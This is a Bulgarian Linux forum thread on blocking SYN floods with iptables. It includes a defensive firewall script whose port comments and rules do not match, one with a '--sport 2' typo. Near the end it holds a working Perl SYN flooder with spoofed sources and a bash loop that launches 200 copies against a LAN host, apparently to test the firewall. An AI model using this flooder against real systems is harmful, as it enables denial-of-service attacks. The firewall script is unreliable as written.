Linux за българи: Форуми

SYN,  DDOS и DOS не може да се предотвартят от теб. Говори с доставчика ако не ти обърне внимание го смени :)

Хората постепено ще разберат каква е разликата м/у квартален интернет и бизнес !!!

google.com BLOCK SYN FLOOD !!! Първа страница! Първи ред!!!
http://lists.netfilter.org/pipermail/netfilter/2001-August/025442.html

Има доста начини

SYN cookies protection is especially useful when the system is under a SYN flood attack and source IP addresses of SYN packets are also forged (a SYN spoofing attack).

Цитат на: ntrance в Oct 18, 2009, 14:58

google.com BLOCK SYN FLOOD !!! Първа страница! Първи ред!!!
http://lists.netfilter.org/pipermail/netfilter/2001-August/025442.html

Има доста начини

Обичам като някой ми даде линк в Google.  Аз мога да ти дам 1000000 линка по темата и нито един който решава проблема.

Пак ти казвам при атака с споофед ип  нищо не може да направиш локално освен ако решиш дане си загасиш машината.

е аз не мога да си обесня как ще ме флоодят докато iptables-a (или някой друг firewall който ограничава(филтрирва) трафика) работи посъщото време и се дропват пакетите

GeSHi (Bash):
#!/bin/bash
IPT="/usr/sbin/iptables"
 
echo "Starting IPv4 Wall..."
$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X
modprobe ip_conntrack
 
BADIPS=$(grep -v -E "^#|^$" /root/scripts/blocked.fw)
PUB_IF="eth0"
 
#unlimited
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT
 
# DROP all incomming traffic
$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP
 
# block all bad ips
for ip in $BADIPS
do
    $IPT -A INPUT -s $ip -j DROP
    $IPT -A OUTPUT -d $ip -j DROP
done
 
# sync
$IPT -A INPUT -i ${PUB_IF} -p tcp ! --syn -m state --state NEW  -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Drop Syn"
 
$IPT -A INPUT -i ${PUB_IF} -p tcp ! --syn -m state --state NEW -j DROP
 
# Fragments
$IPT -A INPUT -i ${PUB_IF} -f  -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Fragments Packets"
$IPT -A INPUT -i ${PUB_IF} -f -j DROP
 
# block bad stuff
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL ALL -j DROP
 
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL NONE -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "NULL Packets"
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL NONE -j DROP # NULL packets
 
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
 
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "XMAS Packets"
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP #XMAS
 
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags FIN,ACK FIN -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Fin Packets Scan"
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags FIN,ACK FIN -j DROP # FIN packet scans
 
$IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
 
# Allow full outgoing connection but no incomming stuff
$IPT -A INPUT -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A OUTPUT -o eth0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
 
# allow ssh only
$IPT -A INPUT -p tcp --destination-port 22 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 22 -j ACCEPT
 
# allow 80 only
$IPT -A INPUT -p tcp --destination-port 80 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 80 -j ACCEPT
 
 
 
# allow port 2112 only
$IPT -A INPUT -p tcp --destination-port 2112 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 2112 -j ACCEPT
 
# allow port 6667 only
$IPT -A INPUT -p tcp --destination-port 9000 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 9000 -j ACCEPT
 
# allow port 6665  only
$IPT -A INPUT -p tcp --destination-port 6665 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 6665  -j ACCEPT
 
# allow 7000 only
$IPT -A INPUT -p tcp --destination-port 6667 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 6667  -j ACCEPT
 
# allow 9000 only
$IPT -A INPUT -p tcp --destination-port 7000 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 7000  -j ACCEPT
 
# allow domain  only
$IPT -A INPUT -p tcp --destination-port 53 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 53  -j ACCEPT
 
# allow ssh  only
$IPT -A INPUT -p tcp --destination-port 22 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 2  -j ACCEPT
 
 
# allow incoming ICMP ping pong stuff
$IPT -A INPUT -p icmp --icmp-type 8 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A OUTPUT -p icmp --icmp-type 0 -m state --state ESTABLISHED,RELATED -j ACCEPT
 
# No smb/windows sharing packets - too much logging
$IPT -A INPUT -p tcp -i eth0 --dport 137:139 -j REJECT
$IPT -A INPUT -p udp -i eth0 --dport 137:139 -j REJECT
 
# Log everything else
# *** Required for psad ****
$IPT -A INPUT -j LOG
$IPT -A FORWARD -j LOG
$IPT -A INPUT -j DROP
 
# Start ipv6 firewall
# echo "Starting IPv6 Wall..."
/root/scripts/start6.fw
 
exit 0
 

е не е болка за умиране ще си го едитна ся  ;D

modprobe ipt_recentt ip_list_tot=500

GeSHi (Bash):
#!/bin/bash
for (( c=1; c<=200; c++ ))
do
perl synflood.pl 192.168.0.$c 192.168.0.224 80 &
done
 

GeSHi (Bash):
#!/usr/bin/perl
# synflood.pl - Simple SYN Flooder
# Author: iphelix
#
# Requires perl, Net::RawIP module, and root privileges
 
use Net::RawIP;
 
if($#ARGV == 2) {
   ($src,$dst,$port) = @ARGV;
   $a = new Net::RawIP;
   while(1) {
       $src_port = rand(65534)+1;
      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
      $a->send;   
   }
} else {
   print "./synflooder source_ip destination_ip destination_port\n";
}
 

GeSHi (Bash):
uname -a
Linux router3 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686 athlon i386 GNU/Linux